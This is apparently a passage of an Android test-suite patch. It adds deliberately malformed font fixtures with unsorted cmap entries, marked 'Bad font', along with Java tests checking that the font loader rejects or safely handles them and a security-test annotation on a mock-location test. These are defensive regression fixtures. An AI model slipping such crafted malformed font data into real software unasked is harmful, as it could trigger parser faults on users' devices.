+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="3em" width="3000" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_12 format="12" reserved="0" length="0" nGroups="0" platformID="3" platEncID="10" language="0">
+      <!-- Note that following hexcode is pseudo ttx source.
+           You may want to see hexdump of the unsorted_cmap12.ttf -->
+      <hexdata>
+        00 0c  <!-- format: 12 -->
+        00 00  <!-- reserved -->
+        00 00 00 28  <!-- length: 40 bytes -->
+        00 00 00 00  <!-- langauge -->
+        00 00 00 02  <!-- num of groups -->
+
+        <!-- Bad font: cmap entries must be sorted in ascending order. -->
+        <!-- start of the first group -->
+        00 00 04 00  <!-- start code point -->
+        00 00 04 00  <!-- end code point -->
+        00 00 00 01  <!-- start glyph ID -->
+
+        <!-- start of the second group -->
+        00 00 01 00  <!-- start code point -->
+        00 00 01 00  <!-- end code point -->
+        00 00 00 01  <!-- start glyph ID -->
+      </hexdata>
+    </cmap_format_12>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="3em" xMin="0" yMin="0" xMax="0" yMax="0" />
+  </glyf>
+
+  <name>
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Broken Cmap Format12 Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Broken Cmap Format12 Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      BrokenCmapFormat12Font-Regular
+    </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/unsorted_cmap14_default_uvs.ttf b/tests/tests/graphics/assets/unsorted_cmap14_default_uvs.ttf
new file mode 100644
index 0000000..83801fc
--- /dev/null
+++ b/tests/tests/graphics/assets/unsorted_cmap14_default_uvs.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/unsorted_cmap14_default_uvs.ttx b/tests/tests/graphics/assets/unsorted_cmap14_default_uvs.ttx
new file mode 100644
index 0000000..310a487
--- /dev/null
+++ b/tests/tests/graphics/assets/unsorted_cmap14_default_uvs.ttx
@@ -0,0 +1,197 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="0x00010000"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_14 format="14" platformID="0" platEncID="5" length="0" numVarSelectorRecords="1">
+      <!-- Note that following hexcode is pseudo ttx source.
+           You may want to see hexdump of the unsorted_cmap14_default_uvs.ttf -->
+      <hexdata>
+        00 0e  <!-- format: 14 -->
+        00 00 00 21  <!-- length: 33 bytes -->
+        00 00 00 01  <!-- number of variation selectors -->
+
+        <!-- 1st variation selector record -->
+        00 fe 00  <!-- variation selector -->
+        00 00 00 15  <!-- the offset to the default UVS table -->
+        00 00 00 00  <!-- the offset to the non default UVS table (no table) -->
+
+        <!-- start of default UVS table -->
+        00 00 00 02  <!-- number of range record -->
+
+        <!-- Bad font: cmap entries must be sorted in ascending order. -->
+        00 04 00  <!-- Unicode code point. -->
+        00  <!-- number of additional following code points -->
+        00 01 00  <!-- Unicode code point. -->
+        00  <!-- number of additional following code points -->
+      </hexdata>
+    </cmap_format_14>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+  </glyf>
+
+  <name>
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Broken Cmap Format14 Default UVS Table Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Broken Cmap Format14 Default UVS Table Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      BrokenCmapFormat14DefaultUVSTableFont-Regular
+    </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/unsorted_cmap14_non_default_uvs.ttf b/tests/tests/graphics/assets/unsorted_cmap14_non_default_uvs.ttf
new file mode 100644
index 0000000..92aadc2
--- /dev/null
+++ b/tests/tests/graphics/assets/unsorted_cmap14_non_default_uvs.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/unsorted_cmap14_non_default_uvs.ttx b/tests/tests/graphics/assets/unsorted_cmap14_non_default_uvs.ttx
new file mode 100644
index 0000000..0c0cb77
--- /dev/null
+++ b/tests/tests/graphics/assets/unsorted_cmap14_non_default_uvs.ttx
@@ -0,0 +1,200 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="3em"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="0x00010000"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="3em" width="3000" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_14 format="14" platformID="0" platEncID="5" length="0" numVarSelectorRecords="1">
+      <!-- Note that following hexcode is pseudo ttx source.
+           You may want to see hexdump of the unsorted_cmap14_non_default_uvs.ttf -->
+      <hexdata>
+        00 0e <!-- format: 14 -->
+        00 00 00 23  <!-- length: 35 bytes -->
+        00 00 00 01  <!-- number of variation selectors -->
+
+        <!-- 1st variation selector record -->
+        00 fe 00  <!-- variation selector -->
+        00 00 00 00  <!-- the offset to the default UVS table (no table) -->
+        00 00 00 15  <!-- the offset to the non default UVS table -->
+
+        <!-- start of default UVS table -->
+        00 00 00 02  <!-- number of mapping record -->
+
+        <!-- Bad font: cmap entries must be sorted in ascending order. -->
+        00 04 00  <!-- Unicode code point. -->
+        00 01  <!-- glyph ID -->
+        00 01 00  <!-- Unicode code point. -->
+        00 01  <!-- glyph ID -->
+      </hexdata>
+    </cmap_format_14>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="3em" xMin="0" yMin="0" xMax="0" yMax="0" />
+  </glyf>
+
+  <name>
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Broken Cmap Format14 Non-Default UVS Table Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Broken Cmap Format14 Non-Default UVS Table Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      BrokenCmapFormat14NonDefaultUVSTableFont-Regular
+    </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/unsorted_cmap4.ttf b/tests/tests/graphics/assets/unsorted_cmap4.ttf
new file mode 100644
index 0000000..8ceeb4e
--- /dev/null
+++ b/tests/tests/graphics/assets/unsorted_cmap4.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/unsorted_cmap4.ttx b/tests/tests/graphics/assets/unsorted_cmap4.ttx
new file mode 100644
index 0000000..8b16955
--- /dev/null
+++ b/tests/tests/graphics/assets/unsorted_cmap4.ttx
@@ -0,0 +1,197 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="3em"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="0x00010000"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="3em" width="3000" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_4 platformID="3" platEncID="10" language="0">
+      <!-- Note that following hexcode is pseudo ttx source.
+           You may want to see hexdump of the unsorted_cmap4.ttf -->
+      <hexdata>
+        00 04  <!-- format: 4 -->
+        00 28  <!-- length: 40 bytes -->
+        00 00  <!-- language -->
+        00 06  <!-- segment count -->
+        00 04  <!-- search range -->
+        00 01  <!-- entry selector -->
+        00 02  <!-- range shift -->
+
+        <!-- Bad font: cmap entries must be sorted in ascending order. -->
+        04 00 01 00 ff ff  <!-- end code points -->
+        00 00  <!-- reserved -->
+        04 00 01 00 ff ff  <!-- start code points -->
+        ff 01 fc 01 00 01  <!-- delta to glyph ID -->
+        00 00 00 00 00 00  <!-- glyph ID range offset -->
+      </hexdata>
+    </cmap_format_4>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="3em" xMin="0" yMin="0" xMax="0" yMax="0" />
+  </glyf>
+
+  <name>
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Broken Cmap Format4 Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Broken Cmap Format4 Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      BrokenCmapFormat4Font-Regular
+    </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java b/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
index 5528372..8724355 100644
--- a/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
@@ -203,4 +203,36 @@
         float widthCustomTypeface = p.measureText(testString);
         assertEquals(widthDefaultTypeface, widthCustomTypeface, 1.0f);
     }
+
+    public void testBadFont() {
+        Typeface typeface = Typeface.createFromAsset(getContext().getAssets(), "ft45987.ttf");
+        assertNotNull(typeface);
+    }
+
+    public void testInvalidCmapFont_unsortedEntries() {
+        // Following two font files have glyph for U+0400 and U+0100 but the fonts must not be used
+        // due to invalid cmap data. For more details, see each ttx source file.
+        final String[] INVALID_CMAP_FONTS = { "unsorted_cmap4.ttf", "unsorted_cmap12.ttf" };
+        for (final String file : INVALID_CMAP_FONTS) {
+            final Typeface typeface = Typeface.createFromAsset(mContext.getAssets(), file);
+            assertNotNull(typeface);
+            final Paint p = new Paint();
+            final String testString = "\u0100\u0400";
+            final float widthDefaultTypeface = p.measureText(testString);
+            p.setTypeface(typeface);
+            final float widthCustomTypeface = p.measureText(testString);
+            assertEquals(widthDefaultTypeface, widthCustomTypeface, 0.0f);
+        }
+
+        // Following two font files have glyph for U+0400 U+FE00 and U+0100 U+FE00 but the fonts
+        // must not be used due to invalid cmap data. For more details, see each ttx source file.
+        final String[] INVALID_CMAP_VS_FONTS = {
+            "unsorted_cmap14_default_uvs.ttf",
+            "unsorted_cmap14_non_default_uvs.ttf"
+        };
+        for (final String file : INVALID_CMAP_VS_FONTS) {
+            final Typeface typeface = Typeface.createFromAsset(mContext.getAssets(), file);
+            assertNotNull(typeface);
+        }
+    }
 }
diff --git a/tests/tests/location/Android.mk b/tests/tests/location/Android.mk
index 62d0d5d..9cda27e 100644
--- a/tests/tests/location/Android.mk
+++ b/tests/tests/location/Android.mk
@@ -21,7 +21,7 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctsdeviceutil ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestserver ctstestrunner ctsdeviceutil guava
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/location/src/android/location/cts/LocationManagerTest.java b/tests/tests/location/src/android/location/cts/LocationManagerTest.java
index 0306b7e..f5d251ea 100644
--- a/tests/tests/location/src/android/location/cts/LocationManagerTest.java
+++ b/tests/tests/location/src/android/location/cts/LocationManagerTest.java
@@ -38,6 +38,8 @@
 import android.provider.Settings;
 import android.test.UiThreadTest;
 
+import com.android.cts.util.SecurityTest;
+
 import java.util.List;
 
 /**
@@ -975,6 +977,7 @@
      * Test case for bug 33091107, where a malicious app used to be able to fool a real provider
      * into providing a mock location that isn't marked as being mock.
      */
+    @SecurityTest
     public void testLocationShouldStillBeMarkedMockWhenProvidersDoNotMatch()
             throws InterruptedException {
         double latitude = 20;
